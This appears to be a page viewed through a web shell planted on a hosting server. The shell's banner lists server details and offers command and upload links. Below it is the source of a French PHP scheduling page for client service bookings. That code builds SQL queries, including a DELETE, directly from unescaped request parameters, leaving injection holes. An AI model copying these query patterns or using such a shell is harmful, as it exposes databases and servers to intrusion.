|
Server IP : 10.128.40.6 / Your IP : 216.73.217.36 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/MC/../www/mcg/plugins/jszip/../../.github/../test/../pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
$client_id=$_SESSION["client_id"] ;
if($_POST['modifier']=='modifier' )
{
$date_application= dateformaint($_POST['date_application']) ;
// echo "==> $prestation_date_deb <br/> " ;
echo "<pre>" ;
print_r($_POST);
echo "<pre>" ;
// exit() ;
// dbi_query("DELETE FROM `prestation_jour` WHERE prestation_jour_date >= $date_application");
$start = $_POST['date_application'];
$end = $_POST['end'];
$day = $_POST['day'];
$num = $_POST['num'];
$date_from = strtotime($start);
$date_to = strtotime($end);
$prestation_ref = $_POST['prestation_ref'] ;
$prestation_id_parent = $_POST['prestation_id'] ;
$salarie_id=$_POST['salarie_id'] ;
$prestation_date_deb= dateformaint($_POST['start']) ;
$prestation_date_fin= dateformaint($_POST['end']) ;
$prestation_prolongation = date_forma_int_plus_deux_ans($_POST['start']) ;
$chantier_id=$_POST['chantier_ID'] ;
$prestation_taux=$_POST['prestation_taux'] ;
$prestation_semaine=$_POST['num'] ;
$prestation_jour=$_POST['day'] ;
if(($_POST['prestation_fin'] == 2 ) OR (!isset($_POST['prestation_fin'] )) )
{
$prestation_fin= 2 ; // le cas on a pas une date de fin " NON"
$prestation_prolongation_n = int2date_autre_format($prestation_prolongation) ;
$date_to = strtotime($prestation_prolongation_n);
$prestation_date_fin = NULL ;
}
else
{
$prestation_fin= 1 ;
$prestation_prolongation = 0 ; // le cas on a une date de fin " OUI "
}
$prestation_heurd=heure2int($_POST['prestation_jour_heurd']) ;
$prestation_jour_dure = calcul_duree( $_POST['prestation_jour_heurd'],$_POST['prestation_jour_heurf']);
dbi_query(" INSERT INTO prestation (
client_id,
prestation_ref,
salarie_id,
prestation_date_deb,
prestation_date_fin,
chantier_id,
prestation_taux,
prestation_prolongation,
prestation_fin,
prestation_heurd,
prestation_duree,
prestation_semaine,
prestation_jour,
prestation_id_parent
)
VALUES (
'$client_id',
'$prestation_ref',
'$salarie_id',
'$prestation_date_deb',
'$prestation_date_fin',
'$chantier_id',
$prestation_taux,
$prestation_prolongation,
$prestation_fin,
$prestation_heurd,
$prestation_jour_dure,
$prestation_semaine,
$prestation_jour,
$prestation_id_parent
)") ;
list($prestation_id) = dbi_fetch_row(dbi_query(" SELECT MAX(prestation_id) FROM `prestation` ")) ;
list($prestation_jour_id) = dbi_fetch_row(dbi_query(" SELECT min(prestation_jour_id) FROM `prestation_jour` WHERE `prestation_jour_date` >= $date_application ")) ;
// echo "==> $prestation_jour_id" ;
// exit() ;
for ($i=$date_from; $i<=$date_to; $i = strtotime('+1 day', $i))
{
if (date('N', $i) == $day) // lundi == 1
{
$prestation_jour_date = date('Ymd', $i) ;
$prestation_jour_heurd = date('Y-m-d', $i)." ".$_POST['prestation_jour_heurd'].":00" ;
$prestation_jour_heurf = date('Y-m-d', $i)." ".$_POST['prestation_jour_heurf'].":00" ;
$salarie_id=$_POST['salarie_id'] ;
dbi_query("UPDATE `tmcpro`.`prestation_jour` SET
prestation_id = '$prestation_id',
`prestation_jour_date` = '$prestation_jour_date',
prestation_jour_heurd = '$prestation_jour_heurd',
prestation_jour_heurf = '$prestation_jour_heurf',
salarie_id = '$salarie_id',
prestation_heurd = '$prestation_heurd',
prestation_jour_dure = '$prestation_jour_dure',
prestation_jour_heurdebut = '$prestation_heurd'
WHERE `prestation_jour`.`prestation_jour_id` = $prestation_jour_id ") ;
$prestation_jour_id = $prestation_jour_id + 1 ;
// dbi_query(" INSERT INTO prestation_jour (
// prestation_id,
// prestation_jour_date,
// prestation_jour_heurf,
// prestation_heurd,
// prestation_jour_dure,
// prestation_jour_heurdebut
// )
// VALUES (
// '$prestation_jour_date',
// '$prestation_jour_heurd',
// '$salarie_id',
// '$prestation_heurd',
// '$prestation_jour_dure',
// '$prestation_heurd'
// )") ;
if($num==1){}
else if($num==2){
$i = strtotime('+7 day', $i);
}
else if($num==3){
$i = strtotime('+14 day', $i);
}
else if($num==4){
$i = strtotime('+21 day', $i);
}
else if($num==5){
$i = strtotime('+28 day', $i);
}
else if($num==6){
$i = strtotime('+35 day', $i);
}
else if($num==7){
$i = strtotime('+42 day', $i);
}
else if($num==8){
$i = strtotime('+49 day', $i);
}
else if($num==9){
$i = strtotime('+56 day', $i);
}
else if($num==10){
$i = strtotime('+63 day', $i);
}
else if($num==11){
$i = strtotime('+70 day', $i);
}
else if($num==12){
$i = strtotime('+77 day', $i);
}
}
}
header('Location:fcprestation.php');
}
if($_GET['sup']== 1)
{
dbi_query("DELETE FROM `prestation`
WHERE `prestation_id` =".$_GET['prestation_id']) ;
dbi_query("DELETE FROM `prestation_jour`
WHERE `prestation_id` =".$_GET['prestation_id']) ;
// header('Location:fcchantier.php?msg=chantier bien supprimé&color=success');
}
if (isset($_POST['submitbtn']))
{
$start = $_POST['start'];
$end = $_POST['end'];
$day = $_POST['day'];
$num = $_POST['num'];
$date_from = strtotime($start);
$date_to = strtotime($end);
$salarie_id=$_POST['salarie_id'] ;
$prestation_date_deb= dateformaint($_POST['start']) ;
$prestation_date_fin= dateformaint($_POST['end']) ;
$prestation_prolongation = date_forma_int_plus_deux_ans($_POST['start']) ;
$chantier_id=$_POST['chantier_ID'] ;
$prestation_taux=$_POST['prestation_taux'] ;
$prestation_semaine=$_POST['num'] ;
$prestation_jour=$_POST['day'] ;
if(($_POST['prestation_fin'] == 2 ) OR (!isset($_POST['prestation_fin'] )) )
{
$prestation_fin= 2 ; // le cas on a pas une date de fin " NON"
$prestation_prolongation_n = int2date_autre_format($prestation_prolongation) ;
$date_to = strtotime($prestation_prolongation_n);
$prestation_date_fin = NULL ;
}
else
{
$prestation_fin= 1 ;
$prestation_prolongation = 0 ; // le cas on a une date de fin " OUI "
}
$prestation_heurd=heure2int($_POST['prestation_jour_heurd']) ;
$prestation_jour_dure = calcul_duree( $_POST['prestation_jour_heurd'],$_POST['prestation_jour_heurf']);
list($prestation_id_temp) = dbi_fetch_row(dbi_query(" SELECT MAX(prestation_id) FROM `prestation` ")) ;
$prestation_ref = $prestation_id_temp + 1 ;
dbi_query(" INSERT INTO prestation (
client_id,
prestation_ref,
salarie_id,
prestation_date_deb,
prestation_date_fin,
chantier_id,
prestation_taux,
prestation_prolongation,
prestation_fin,
prestation_heurd,
prestation_duree,
prestation_semaine,
prestation_jour
)
VALUES (
'$client_id',
'$prestation_ref',
'$salarie_id',
'$prestation_date_deb',
'$prestation_date_fin',
'$chantier_id',
$prestation_taux,
$prestation_prolongation,
$prestation_fin,
$prestation_heurd,
$prestation_jour_dure,
$prestation_semaine,
$prestation_jour
)") ;
list($prestation_id) = dbi_fetch_row(dbi_query(" SELECT MAX(prestation_id) FROM `prestation` ")) ;
for ($i=$date_from; $i<=$date_to; $i = strtotime('+1 day', $i)) {
if (date('N', $i) == $day) //lundi == 1
{
$prestation_jour_date = date('Ymd', $i) ; // affiche la date selon le jour hhhh
$prestation_jour_heurd = date('Y-m-d', $i)." ".$_POST['prestation_jour_heurd'].":00" ;
$prestation_jour_heurf = date('Y-m-d', $i)." ".$_POST['prestation_jour_heurf'].":00" ;
$salarie_id=$_POST['salarie_id'] ;
dbi_query(" INSERT INTO prestation_jour (
prestation_id,
prestation_jour_date,
prestation_jour_heurd,
prestation_jour_heurf,
salarie_id,
prestation_heurd,
prestation_jour_dure,
prestation_jour_heurdebut
)
VALUES (
'$prestation_id',
'$prestation_jour_date',
'$prestation_jour_heurd',
'$prestation_jour_heurf',
'$salarie_id',
'$prestation_heurd',
'$prestation_jour_dure',
'$prestation_heurd'
)") ;
if($num==1){}
else if($num==2){
$i = strtotime('+7 day', $i);
}
else if($num==3){
$i = strtotime('+14 day', $i);
}
else if($num==4){
$i = strtotime('+21 day', $i);
}
else if($num==5){
$i = strtotime('+28 day', $i);
}
else if($num==6){
$i = strtotime('+35 day', $i);
}
else if($num==7){
$i = strtotime('+42 day', $i);
}
else if($num==8){
$i = strtotime('+49 day', $i);
}
else if($num==9){
$i = strtotime('+56 day', $i);
}
else if($num==10){
$i = strtotime('+63 day', $i);
}
else if($num==11){
$i = strtotime('+70 day', $i);
}
else if($num==12){
$i = strtotime('+77 day', $i);
}
}
}
header('Location:fcprestation.php');
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | Prestations</title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<!-- daterange picker -->
<link rel="stylesheet" href="../plugins/daterangepicker/daterangepicker.css">
<!--#####################################CDN LINKS OF BOOTSTRAP##########################################-->
<!-- Latest compiled and minified CSS -->
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<!-- jQuery library -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<!-- Popper JS -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"></script>
<!-- Latest compiled JavaScript -->
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
<!--font awesome for images icons -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<!--#####################################CDN LINKS OF BOOTSTRAP##########################################-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/fullcalendar/3.4.0/fullcalendar.css" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jqueryui/1.12.1/jquery-ui.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/moment.js/2.18.1/moment.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/fullcalendar/3.4.0/fullcalendar.min.js"></script>
<?php
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// if(!empty($_GET['client_id']))
// {
// $_SESSION["client_id"]=$_GET['client_id'];
// }
// exit() ;
//load.php
// exit() ;
?>
<script>
$(document).ready(function() {
var calendar = $('#calendar').fullCalendar({
editable:true,
header:{
left:'prev,next today',
center:'title',
right:'month,agendaWeek,agendaDay'
},
events: 'load.php',
selectable:true,
selectHelper:true,
editable:true,
eventResize:function(event)
{
var start = $.fullCalendar.formatDate(event.start, "Y-MM-DD HH:mm:ss");
var end = $.fullCalendar.formatDate(event.end, "Y-MM-DD HH:mm:ss");
var title = event.title;
var id = event.id;
$.ajax({
url:"update.php",
type:"POST",
data:{title:title, start:start, end:end, id:id},
success:function(){
calendar.fullCalendar('refetchEvents');
alert('prestation deplacé');
}
})
},
eventDrop:function(event)
{
var start = $.fullCalendar.formatDate(event.start, "Y-MM-DD HH:mm:ss");
var end = $.fullCalendar.formatDate(event.end, "Y-MM-DD HH:mm:ss");
var title = event.title;
var id = event.id;
$.ajax({
url:"update.php",
type:"POST",
data:{title:title, start:start, end:end, id:id},
success:function()
{
calendar.fullCalendar('refetchEvents');
alert("prestation deplacé");
}
});
},
eventClick:function(event)
{
// if(confirm("voulez vous supprimer la prestation ?"))
// {
// var start = $.fullCalendar.formatDate(event.start, "YMMDD");
// var id = event.id;
// $.ajax({
// url:"delete.php",
// type:"POST",
// data:{start:start, id:id},
// success:function()
// {
// calendar.fullCalendar('refetchEvents');
// alert("bien supprimer");
// }
// })
// }
var recur = $.fullCalendar.formatDate(event.start, "YMMDD");
var offset = 0;
var testVAR = event.salarie_id;
var presta_id = event.id;
var salarie_id = event.salarie_id;
$.ajax({
url:"presta_modif.php",
type:"GET",
dataType:'html',
data:{presta_id:presta_id,recur:recur,offset:offset ,testVAR:testVAR,salarie_id:salarie_id },
success:function(result)
{
calendar.fullCalendar('refetchEvents');
// console.log(result);
// $('#eventDueDate').val(start) ;
//console.log(result);
//$("#jourlist").val(result.jour);
//alert(result.jour);
// $("#jourlist option[value="+result.jour+"]").attr('selected',true);
//$("#jourlist").find("option[value=" + result.jour +"]").attr('selected', true);
$('.result').html(result);
//$('#createEventModal').modal('show');
$('#exampleModal').modal('show');
}
})
},
// eventClick:function(event)
// {
// if(confirm("voulez vous supprimer la prestation ?"))
// {
// var start = $.fullCalendar.formatDate(event.start, "YMMDD");
// var id = event.id;
// $.ajax({
// url:"delete.php",
// type:"POST",
// data:{start:start, id:id},
// success:function()
// {
// calendar.fullCalendar('refetchEvents');
// alert("bien supprimer");
// }
// })
// }
// var recur = $.fullCalendar.formatDate(event.start, "YMMDD");
// var offset = 0;
// var testVAR = 1;
// var presta_id = event.id;
// $.ajax({
// url:"presta_modif.php",
// type:"GET",
// dataType:'html',
// data:{presta_id:presta_id,recur:recur,offset:offset ,testVAR:testVAR },
// success:function(result)
// {
// calendar.fullCalendar('refetchEvents');
// console.log(result);
// $('#eventDueDate').val(start) ;
//console.log(result);
//$("#jourlist").val(result.jour);
//alert(result.jour);
// $("#jourlist option[value="+result.jour+"]").attr('selected',true);
//$("#jourlist").find("option[value=" + result.jour +"]").attr('selected', true);
// $('#createEventModal').html(result);
// $('#createEventModal').modal('show');
// }
// })
// },
});
});
</script>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li class="nav-item d-none d-sm-inline-block">
<a href="index.php" class="nav-link">Accueil</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 1</a>
</li>
<li class="nav-item d-none d-sm-inline-block">
<a href="#" class="nav-link">Lien 2</a>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="col-sm-6">
<h3><button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-nouvelleprestation"><i class="fas fa-plus"></i> NOUVELLE PRESTATION</button></h3>
</div><!-- /.col -->
<div class="modal fade" id="modal-nouvelleprestation">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<h4 class="modal-title">Nouvelle Prestation</h4>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="card-body">
<form action="" method="POST">
<!-- ///////Ligne société & Catégorie -->
<!-- ///////Ligne -->
<div class="form-row">
<div class="form-group col-md-4">
<label>Date de Début (start)</label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="date" class="form-control" id="start" name="start" placeholder="jj/mm/aaaa">
<!-- <input type="text" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="start" placeholder="jj/mm/aaaa"> -->
</div>
</div>
<div class="form-group col-md-4">
<label>Date fin</label>
<select class="form-control" name="prestation_fin" id="salarie_mutuelle" value="<?=$q['salarie_mutuelle'] ; ?>">
<option value="-1" selected="<?php if($q['salarie_mutuelle']== NULL ) { echo 'selected' ;} ?> " disabled="disabled">-Date fin-</option>
<option value="1" <?php if($q['salarie_mutuelle']=='0') echo 'SELECTED'; ?> >Oui</option>
<option value="2" <?php if($q['salarie_mutuelle']=='1') echo 'SELECTED'; ?> > Non</option>
</select>
</div>
<div class="form-group col-md-4">
<label>Date de fin (end) </label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<input type="date" class="form-control" id="end" name="end" disabled>
<!-- <input type="text" class="form-control" data-inputmask-alias="datetime" data-inputmask-inputformat="dd/mm/yyyy" data-mask name="end" placeholder="jj/mm/aaaa"> -->
</div>
</div>
<div class="form-group col-md-4">
<label>Semaine entre deux prestation </label>
<div class="input-group">
<div class="input-group-prepend">
<span class="input-group-text"><i class="far fa-calendar-alt"></i></span>
</div>
<!-- <input type="text" class="form-control" name="number" placeholder="jj/mm/aaaa"> -->
<select class="form-control" name="num" id="num">
<option value="-1" selected="selected" disabled="disabled">-Nombre semaine-</option>
<option value="1" > 1 </option>
<option value="2" > 2 </option>
<option value="3" > 3 </option>
<option value="4" > 4 </option>
<option value="5" > 5 </option>
<option value="6" > 6 </option>
<option value="7" > 7 </option>
<option value="8" > 8 </option>
<option value="9" > 9 </option>
<option value="10"> 10</option>
<option value="11" > 11 </option>
<option value="12"> 12</option>
</select>
</div>
</div>
<div class="form-group col-md-2">
<label for="inputAddresse">Heure Début</label>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="prestation_jour_heurd" required>
</div>
<div class="form-group col-md-2">
<label for="inputsociete">Heure fin</label>
<input type="time" id="appt" min="05:00" max="22:00" class="form-control" name="prestation_jour_heurf" required>
</div>
<div class="form-group col-md-4"><!-- Liste déroulante jour -->
<label>Jour de prestation</label>
<select class="form-control" name="day" id="day">
<option value="-1" selected="selected" disabled="disabled">-Jour-</option>
<option value="1" > lundi </option>
<option value="2" > mardi </option>
<option value="3" >mercredi </option>
<option value="4" >jeudi </option>
<option value="5" > vendredi </option>
<option value="6" >samdei </option>
<option value="7" >dimanche </option>
</select>
</div>
<?php
$req =dbi_query("SELECT * FROM salarie WHERE 1") ;
?>
<div class="form-group col-md-4"><!-- Liste déroulante jour -->
<label>Salarier </label>
<select class="form-control" name="salarie_id">
<option value="-1" selected="selected" disabled="disabled">-Salarier-</option>
<?php
while( $sal=dbi_fetch_row($req))
{
?>
<option value="<?php echo $sal['salarie_id'] ; ?>" ><?php echo $sal['salarie_nom']." ".$sal['salarie_prenom']; ?></option>
<?php
}
?>
</select>
</div>
<?php
$req1 =dbi_query("SELECT * FROM chantier WHERE `client_id` = $client_id and chantier_type_id = 1") ;
?>
<div class="form-group col-md-4"><!-- Liste déroulante jour -->
<label> Chantier </label>
<select class="form-control" name="chantier_ID">
<option value="-1" selected="selected" disabled="disabled">-Chantier-</option>
<?php
while( $chant=dbi_fetch_row($req1))
{
?>
<option value="<?php echo $chant['chantier_ID'] ; ?>" ><?php echo $chant['chantier_designation']; ?></option>
<?php
}
?>
</select>
</div>
<div class="form-group col-md-2">
<label for="inputsociete">Taux</label>
<input type="text" class="form-control" name="prestation_taux" required>
</div>
</div>
</div>
</div>
<div class="modal-footer justify-content-between">
<button type="button" class="btn btn-primary" data-dismiss="modal">Fermer</button>
<button type="submit" name="submitbtn" class="btn btn-primary">Enregistrer</button>
</form>
</div>
</div>
<!-- /.modal-content -->
</div>
<!-- /.modal-dialog -->
</div>
<div class="col-sm-6">
<ol class="breadcrumb float-sm-right">
<li class="breadcrumb-item"><a href="#">Accueil</a></li>
<li class="breadcrumb-item active">Prestations</li>
</ol>
</div><!-- /.col -->
</div><!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<div class="content">
<div class="container-fluid">
<div class="row">
<!-- DEFINITION DES COLONNES -->
<div class="col-lg-3">
<!-- WIDGET AVEC LE NOM DU CLIENT -->
<?php
$q= dbi_fetch_row(dbi_query("SELECT * FROM client where client_id = ".$client_id)) ;
?>
<div class="info-box">
<span class="info-box-icon bg-primary"><i class="far fa-user"></i></span>
<div class="info-box-content">
<h2><span class="title"><?php echo $q['client_nom'] ;?></span></h2>
<p><span class="title"><?php echo $q['client_adr1'] ;?></span></p>
<p><span class="title"><?php echo $q['client_adr2'] ;?></span></p>
<p><span class="title"><?php echo $q['client_adr3'] ;?></span></p>
<p><span class="title"><?php echo $q['client_cp'] ;?> <?php echo $q['client_ville'] ;?> </span> </p>
</div>
</div>
<!-- BARRE DE NAVIGATION DU CLIENT -->
<?php include('menu_client.php'); ?>
</div>
<!-- PASSAGE A LA COLONNE DE DROITE-->
<div class="col-lg-9">
<!-- CARD DE DROITE-->
<div class="card">
<div class="card-header">
<h5 class="m-0"><i class="nav-icon fas fa-user"></i> Prestations</h5>
</div>
<div class="card-body">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<section class="content">
<!-- /.card-header -->
<div class="card-body">
<?php
$prest= dbi_query("SELECT * FROM `prestation` p , client c , salarie s where p.client_id = c.client_id and p.salarie_id = s.salarie_id and p.client_id = ".$client_id." and `prestation_id_parent` IS NULL") ;
?>
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>prestation</th> <!-- /.Table Client - Champs client_nom -->
<!-- /.Table Client - Champs client_adr1 -->
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
while( $prstation= dbi_fetch_row($prest))
{
if($prstation['prestation_date_fin']==0)
{
$prestation_date_fin= " <b style='color:red'>Pas date de fin </b>" ;
}
else
{
$prestation_date_fin= int2date($prstation['prestation_date_fin']) ;
}
?>
<tr>
<td><?php echo $prstation['prestation_id']." prestation Débute le ".int2date($prstation['prestation_date_deb'])." finit le $prestation_date_fin effectuer par <strong>".$prstation['salarie_nom']."</strong> ".$prstation['salarie_prenom']."chez le client<strong> ".$prstation['client_nom']."</strong>" ; ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$prstation['prestation_id'].'"><i class="fas fa-pencil-alt"></i></a>';?>
<a class="btn btn-danger btn-sm" href="fcprestation.php?prestation_id=<?=$prstation['prestation_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cet prestation ?');">
<i class="fas fa-trash">
</i>
</a>
</td>
</tr>
<tr> </tr>
<?php
$prestModif= dbi_query("SELECT * FROM `prestation` p , client c , salarie s where p.client_id = c.client_id and p.salarie_id = s.salarie_id and p.client_id = ".$client_id." and prestation_ref = ".$prstation['prestation_ref']." and `prestation_id_parent` IS NOT NULL") ;
// afficher les prestation modifier
while($pmodf=dbi_fetch_row($prestModif))
{
if($pmodf['prestation_date_fin']==0)
{
$prestation_date_fin= " <b style='color:red'>Pas date de fin </b>" ;
}
else
{
$prestation_date_fin= int2date($pmodf['prestation_date_fin']) ;
}
?>
<tr>
<td><?php echo $pmodf['prestation_id']." prestation Débute le ".int2date($pmodf['prestation_date_deb'])." finit le $prestation_date_fin effectuer par <strong>".$pmodf['salarie_nom']."</strong> ".$pmodf['salarie_prenom']."chez le client<strong> ".$pmodf['client_nom']."</strong>" ; ?></td>
<td align="center">
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$pmodf['prestation_id'].'"><i class="fas fa-pencil-alt"></i></a>';?>
<a class="btn btn-danger btn-sm" href="fcprestation.php?prestation_id=<?=$pmodf['prestation_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer cet prestation ?');">
<i class="fas fa-trash">
</i>
</a>
</td>
</tr>
<?php
}
}
?>
</tbody>
<tfoot>
<tr>
<th>prestation</th> <!-- /.Table Client - Champs client_nom -->
<!-- /.Table Client - Champs client_adr1 -->
<th>Action</th>
</tr>
</tfoot>
</table>
<br/>
<div class="container">
<div id="calendar"></div>
</div>
<br/>
<br/>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<body/>
</div>
</div>
</div>
</div>
</div>
<!-- /.col-md-6 -->
</div>
<!-- /.row -->
</div><!-- /.container-fluid -->
</div>
<!-- /.content -->
</div>
<!-- Modal -->
<div class="modal fade" id="exampleModal" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="exampleModalLabel">Post Event</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body result">
</div>
</div>
</div>
</div>
<!-- /.content-wrapper -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
<div class="p-3">
<h5>Title</h5>
<p>Sidebar content</p>
</div>
</aside>
<!-- /.control-sidebar -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
reserved.
</footer>
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script src="../../plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="../../plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.min.js"></script>
<!-- InputMask -->
<script src="../../plugins/moment/moment.min.js"></script>
<script src="../../plugins/inputmask/min/jquery.inputmask.bundle.min.js"></script>
<!-- date-range-picker -->
<script src="../../plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="../../plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="../../plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="../../plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- Page script -->
<script>
$(function () {
//Initialize Select2 Elements
$('.select2').select2()
//Initialize Select2 Elements
$('.select2bs4').select2({
theme: 'bootstrap4'
})
//Datemask dd/mm/yyyy
$('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
//Datemask2 mm/dd/yyyy
$('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
//Money Euro
$('[data-mask]').inputmask()
//Date range picker
$('#reservation').daterangepicker()
//Date range picker with time picker
$('#reservationtime').daterangepicker({
timePicker: true,
timePickerIncrement: 30,
locale: {
format: 'MM/DD/YYYY hh:mm A'
}
})
//Date range as a button
$('#daterange-btn').daterangepicker(
{
ranges : {
'Today' : [moment(), moment()],
'Yesterday' : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
'Last 30 Days': [moment().subtract(29, 'days'), moment()],
'This Month' : [moment().startOf('month'), moment().endOf('month')],
'Last Month' : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
},
startDate: moment().subtract(29, 'days'),
endDate : moment()
},
function (start, end) {
$('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
}
)
//Timepicker
$('#timepicker').datetimepicker({
format: 'LT'
})
//Bootstrap Duallistbox
$('.duallistbox').bootstrapDualListbox()
//Colorpicker
$('.my-colorpicker1').colorpicker()
//color picker with addon
$('.my-colorpicker2').colorpicker()
$('.my-colorpicker2').on('colorpickerChange', function(event) {
$('.my-colorpicker2 .fa-square').css('color', event.color.toString());
});
$("input[data-bootstrap-switch]").each(function(){
$(this).bootstrapSwitch('state', $(this).prop('checked'));
});
})
</script>
<!-- AdminLTE App --
<script src="../../dist/js/app.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<!-- page script -->
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false
});
});
</script>
</html>
<!--
<script src="../../bower_components/select2/dist/js/select2.full.min.js"></script>
